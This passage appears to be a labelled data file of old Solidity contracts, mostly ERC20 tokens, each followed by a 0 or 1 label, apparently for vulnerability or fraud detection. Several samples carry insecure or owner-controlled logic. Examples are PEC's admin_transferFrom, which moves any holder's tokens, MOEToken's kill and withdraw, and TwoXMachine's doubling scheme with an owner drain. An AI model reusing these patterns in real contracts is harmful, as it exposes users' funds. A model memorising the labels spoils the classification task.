uint256 c = a + b; assert(c >= a); return c; } } contract AlphaMarketTeamBountyWallet is Multiowned { function AlphaMarketTeamBountyWallet(address[] _owners, address _tokenAddress) Multiowned(_owners, _owners.length - 1) public { token = AlphaMarketCoin(_tokenAddress); } function transferTokens(address _to, uint256 _value) external onlymanyowners(sha3(msg.data)) { if(_value == 0 || token.balanceOf(this) < _value || _to == 0x0) { return; } token.transfer(_to, _value); } function () external payable { revert(); } AlphaMarketCoin public token; } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract AlphaMarketCoin is StandardToken { function AlphaMarketCoin(address _controller) public { controller = _controller; earlyAccess[_controller] = true; totalSupply_ = 999999999 * 10 ** uint256(decimals); balances[_controller] = totalSupply_; } modifier onlyController { require(msg.sender == controller); _; } event TransferEnabled(); function addEarlyAccessAddress(address _address) external onlyController { require(_address != 0x0); earlyAccess[_address] = true; } function transfer(address _to, uint256 _value) public returns (bool) { require(isTransferEnabled || earlyAccess[msg.sender]); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(isTransferEnabled); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { require(isTransferEnabled); return super.approve(_spender, _value); } function enableTransfering() public onlyController { require(!isTransferEnabled); isTransferEnabled = true; emit TransferEnabled(); } function () public payable { revert(); } bool public isTransferEnabled = false; address public controller; mapping(address => bool) public earlyAccess; uint8 public constant decimals = 18; string public constant name = 'AlphaMarket Coin'; string public constant symbol = 'AMC'; }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TripBitToken is StandardToken { string public constant name = "TripBit"; string public constant symbol = "TBT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 700000000 * (10 ** uint256(decimals)); function TripBitToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
1
contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract Issuer is Ownable { mapping(address => bool) public issued; StandardToken public token; address public allower; uint public issuedCount; function Issuer(address _owner, address _allower, StandardToken _token) { owner = _owner; allower = _allower; token = _token; } function issue(address benefactor, uint amount) onlyOwner { if(issued[benefactor]) throw; token.transferFrom(allower, benefactor, amount); issued[benefactor] = true; issuedCount += amount; } }
0
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MOEToken is ERC20 { using SafeMath for uint256; address public owner; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public name = "MOE's game art foundation"; string public constant symbol = "MOE"; uint public constant decimals = 18; bool public stopped; modifier stoppable { assert(!stopped); _; } uint256 public totalSupply = 1000000000*(10**18); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event LOCK(address indexed _owner, uint256 _value); mapping (address => uint256) public lockAddress; modifier lock(address _add){ require(_add != address(0)); uint256 releaseTime = lockAddress[_add]; if(releaseTime > 0){ require(block.timestamp >= releaseTime); _; }else{ _; } } modifier onlyOwner() { require(msg.sender == owner); _; } function MOEToken() public { owner = msg.sender; balances[msg.sender] = totalSupply; } function stop() onlyOwner public { stopped = true; } function start() onlyOwner public { stopped = false; } function lockTime(address _to,uint256 _value) onlyOwner public { if(_value > block.timestamp){ lockAddress[_to] = _value; emit LOCK(_to, _value); } } function lockOf(address _owner) constant public returns (uint256) { return lockAddress[_owner]; } function transferOwnership(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function () public payable { address myAddress = this; emit Transfer(msg.sender, myAddress, msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _amount) stoppable lock(msg.sender) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, uint256 _amount) stoppable lock(_from) public returns (bool success) { require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[msg.sender] = balances[msg.sender].add(_amount); emit Transfer(_from, msg.sender, _amount); return true; } function approve(address _spender, uint256 _value) stoppable lock(_spender) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function kill() onlyOwner public { selfdestruct(msg.sender); } function setName(string _name) onlyOwner public { name = _name; } }
1
pragma solidity ^0.4.18; contract TwoXMachine { address public contractOwner; BuyIn[] public buyIns; uint256 public index; uint256 public contractTotalInvested; mapping (address => uint256) public totalInvested; mapping (address => uint256) public totalValue; mapping (address => uint256) public totalPaidOut; struct BuyIn { uint256 value; address owner; } modifier onlyContractOwner() { require(msg.sender == contractOwner); _; } function TwoXMachine() public { contractOwner = msg.sender; } function purchase() public payable { require(msg.value >= 0.01 ether); uint256 value = SafeMath.div(SafeMath.mul(msg.value, 95), 100); uint256 valueMultiplied = SafeMath.div(SafeMath.mul(msg.value, 25), 100); contractTotalInvested += msg.value; totalInvested[msg.sender] += msg.value; while (index < buyIns.length && value > 0) { BuyIn storage buyIn = buyIns[index]; if (value < buyIn.value) { buyIn.owner.transfer(value); totalPaidOut[buyIn.owner] += value; totalValue[buyIn.owner] -= value; buyIn.value -= value; value = 0; } else { buyIn.owner.transfer(buyIn.value); totalPaidOut[buyIn.owner] += buyIn.value; totalValue[buyIn.owner] -= buyIn.value; value -= buyIn.value; buyIn.value = 0; index++; } } if (value > 0) { msg.sender.transfer(value); valueMultiplied -= value; totalPaidOut[msg.sender] += value; } totalValue[msg.sender] += valueMultiplied; buyIns.push(BuyIn({ value: valueMultiplied, owner: msg.sender })); } function payout() public onlyContractOwner { contractOwner.transfer(this.balance); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.20; library safeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Event { event Transfer(address indexed from, address indexed to, uint256 value); event Deposit(address indexed sender, uint256 amount , string status); event TokenBurn(address indexed from, uint256 value); event TokenAdd(address indexed from, uint256 value); event Set_Status(string changedStatus); event Set_TokenReward(uint256 changedTokenReward); event Set_TimeStamp(uint256 ico_open_time, uint256 ico_closed_time); event WithdrawETH(uint256 amount); event BlockedAddress(address blockedAddress); event TempLockedAddress(address tempLockAddress, uint256 unlockTime); } contract Variable { string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; address public owner; string public status; uint256 internal _decimals; uint256 internal tokenReward; uint256 internal ico_open_time; uint256 internal ico_closed_time; bool internal transferLock; bool internal depositLock; mapping (address => bool) public allowedAddress; mapping (address => bool) public blockedAddress; mapping (address => uint256) public tempLockedAddress; mapping (address => uint256) public balanceOf; constructor() public { name = "PURIECO"; symbol = "PEC"; decimals = 18; _decimals = 10 ** uint256(decimals); tokenReward = 0; totalSupply = _decimals * 8800000000; status = ""; ico_open_time = 0; ico_closed_time = 0; transferLock = true; depositLock = true; owner = msg.sender; balanceOf[owner] = totalSupply; allowedAddress[owner] = true; } } contract Modifiers is Variable { modifier isOwner { require(owner == msg.sender); _; } modifier isValidAddress { require(0x0 != msg.sender); _; } } contract Set is Variable, Modifiers, Event { function setStatus(string _status) public isOwner returns(bool success) { status = _status; emit Set_Status(status); return true; } function setTokenReward(uint256 _tokenReward) public isOwner returns(bool success) { tokenReward = _tokenReward; emit Set_TokenReward(tokenReward); return true; } function setTimeStamp(uint256 _ico_open_time,uint256 _ico_closed_time) public isOwner returns(bool success) { ico_open_time = _ico_open_time; ico_closed_time = _ico_closed_time; emit Set_TimeStamp(ico_open_time, ico_closed_time); return true; } function setTransferLock(bool _transferLock) public isOwner returns(bool success) { transferLock = _transferLock; return true; } function setDepositLock(bool _depositLock) public isOwner returns(bool success) { depositLock = _depositLock; return true; } function setTimeStampStatus(uint256 _ico_open_time, uint256 _ico_closed_time, string _status) public isOwner returns(bool success) { ico_open_time = _ico_open_time; ico_closed_time = _ico_closed_time; status = _status; emit Set_TimeStamp(ico_open_time,ico_closed_time); emit Set_Status(status); return true; } } contract manageAddress is Variable, Modifiers, Event { function add_allowedAddress(address _address) public isOwner { allowedAddress[_address] = true; } function add_blockedAddress(address _address) public isOwner { require(_address != owner); blockedAddress[_address] = true; emit BlockedAddress(_address); } function delete_allowedAddress(address _address) public isOwner { require(_address != owner); allowedAddress[_address] = false; } function delete_blockedAddress(address _address) public isOwner { blockedAddress[_address] = false; } } contract Get is Variable, Modifiers { using safeMath for uint256; function get_tokenTime() public view returns(uint256 start, uint256 stop) { return (ico_open_time,ico_closed_time); } function get_transferLock() public view returns(bool) { return transferLock; } function get_depositLock() public view returns(bool) { return depositLock; } function get_tokenReward() public view returns(uint256) { return tokenReward; } } contract Admin is Variable, Modifiers, Event { using safeMath for uint256; function admin_transfer_tempLockAddress(address _to, uint256 _value, uint256 _unlockTime) public isOwner returns(bool success) { require(_value > 0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to].add(_value) >= balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; tempLockedAddress[_to] = _unlockTime; emit Transfer(msg.sender, _to, _value); emit TempLockedAddress(_to, _unlockTime); return true; } function admin_transferFrom(address _from, address _to, uint256 _value) public isOwner returns(bool success) { require(_value > 0); require(balanceOf[msg.sender] >= _value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function admin_tokenBurn(uint256 _value) public isOwner returns(bool success) { require(_value > 0); require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit TokenBurn(msg.sender, _value); return true; } function admin_tokenAdd(uint256 _value) public isOwner returns(bool success) { require(_value > 0); balanceOf[msg.sender] = balanceOf[msg.sender].add(_value); totalSupply = totalSupply.add(_value); emit TokenAdd(msg.sender, _value); return true; } function admin_renewLockedAddress(address _address, uint256 _unlockTime) public isOwner returns(bool success) { tempLockedAddress[_address] = _unlockTime; emit TempLockedAddress(_address, _unlockTime); return true; } } contract PEC is Variable, Event, Get, Set, Admin, manageAddress { function() payable public { require(msg.value > 0); require(ico_open_time < block.timestamp && ico_closed_time > block.timestamp); require(!depositLock); uint256 tokenValue; tokenValue = (msg.value).mul(tokenReward); require(balanceOf[owner] >= tokenValue); require(balanceOf[msg.sender].add(tokenValue) >= balanceOf[msg.sender]); emit Deposit(msg.sender, msg.value, status); balanceOf[owner] -= tokenValue; balanceOf[msg.sender] += tokenValue; emit Transfer(owner, msg.sender, tokenValue); } function transfer(address _to, uint256 _value) public isValidAddress { require(!blockedAddress[msg.sender] && !blockedAddress[_to]); require(_value > 0 && _to != msg.sender); require(balanceOf[msg.sender] >= _value); require(allowedAddress[msg.sender] || transferLock == false); require(tempLockedAddress[msg.sender] < block.timestamp); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value); } function ETH_withdraw(uint256 amount) public isOwner returns(bool) { owner.transfer(amount); emit WithdrawETH(amount); return true; } }
1
pragma solidity ^0.4.21; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract SophosToken is StandardToken { string public name = "Sophos"; string public symbol = "SOPH"; uint public decimals = 8 ; uint public INITIAL_SUPPLY = 3000000000000000; function SophosToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
1
pragma solidity ^0.4.21; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; emit WhitelistedAddressAdded(addr); success = true; } } function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } contract LockableWhitelisted is Whitelist { event Locked(); event Unlocked(); bool public locked = false; bool private unlockedOnce = false; modifier whenNotLocked(address _address) { require(!locked || whitelist[_address]); _; } function isWhitelisted(address _address) public view returns (bool) { return whitelist[_address]; } function lock() onlyOwner public { require(!unlockedOnce); if (!locked) { locked = true; emit Locked(); } } function unlock() onlyOwner public { if (locked) { locked = false; unlockedOnce = true; emit Unlocked(); } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract PGF500Token is BurnableToken, MintableToken, DetailedERC20, LockableWhitelisted { uint256 constant internal DECIMALS = 18; function PGF500Token (uint256 _initialSupply) public BurnableToken() MintableToken() DetailedERC20('PGF500 Token', 'PGF7T', uint8(DECIMALS)) LockableWhitelisted() { require(_initialSupply > 0); mint(owner, _initialSupply); finishMinting(); addAddressToWhitelist(owner); lock(); } function transfer(address _to, uint256 _value) public whenNotLocked(msg.sender) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotLocked(_from) returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotLocked(msg.sender) returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotLocked(msg.sender) returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotLocked(msg.sender) returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function transferOwnership(address _newOwner) public onlyOwner { if (owner != _newOwner) { addAddressToWhitelist(_newOwner); removeAddressFromWhitelist(owner); } super.transferOwnership(_newOwner); } function airdrop(address[] _to, uint256 _value) public whenNotLocked(msg.sender) { require(_to.length <= 200); require(balanceOf(msg.sender) >= _value.mul(_to.length)); for (uint i = 0; i < _to.length; i++) { transfer(_to[i], _value); } } function multiTransfer(address[] _to, uint256[] _values) public whenNotLocked(msg.sender) { require(_to.length <= 200); require(_to.length == _values.length); for (uint i = 0; i < _to.length; i++) { transfer(_to[i], _values[i]); } } }
1
interface IMaker { function sai() public view returns (ERC20); function skr() public view returns (ERC20); function gem() public view returns (ERC20); function open() public returns (bytes32 cup); function give(bytes32 cup, address guy) public; function gap() public view returns (uint); function per() public view returns (uint); function ask(uint wad) public view returns (uint); function bid(uint wad) public view returns (uint); function join(uint wad) public; function lock(bytes32 cup, uint wad) public; function free(bytes32 cup, uint wad) public; function draw(bytes32 cup, uint wad) public; function cage(uint fit_, uint jam) public; } interface ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IWETH { function deposit() public payable; function withdraw(uint wad) public; } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) public pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) public pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, 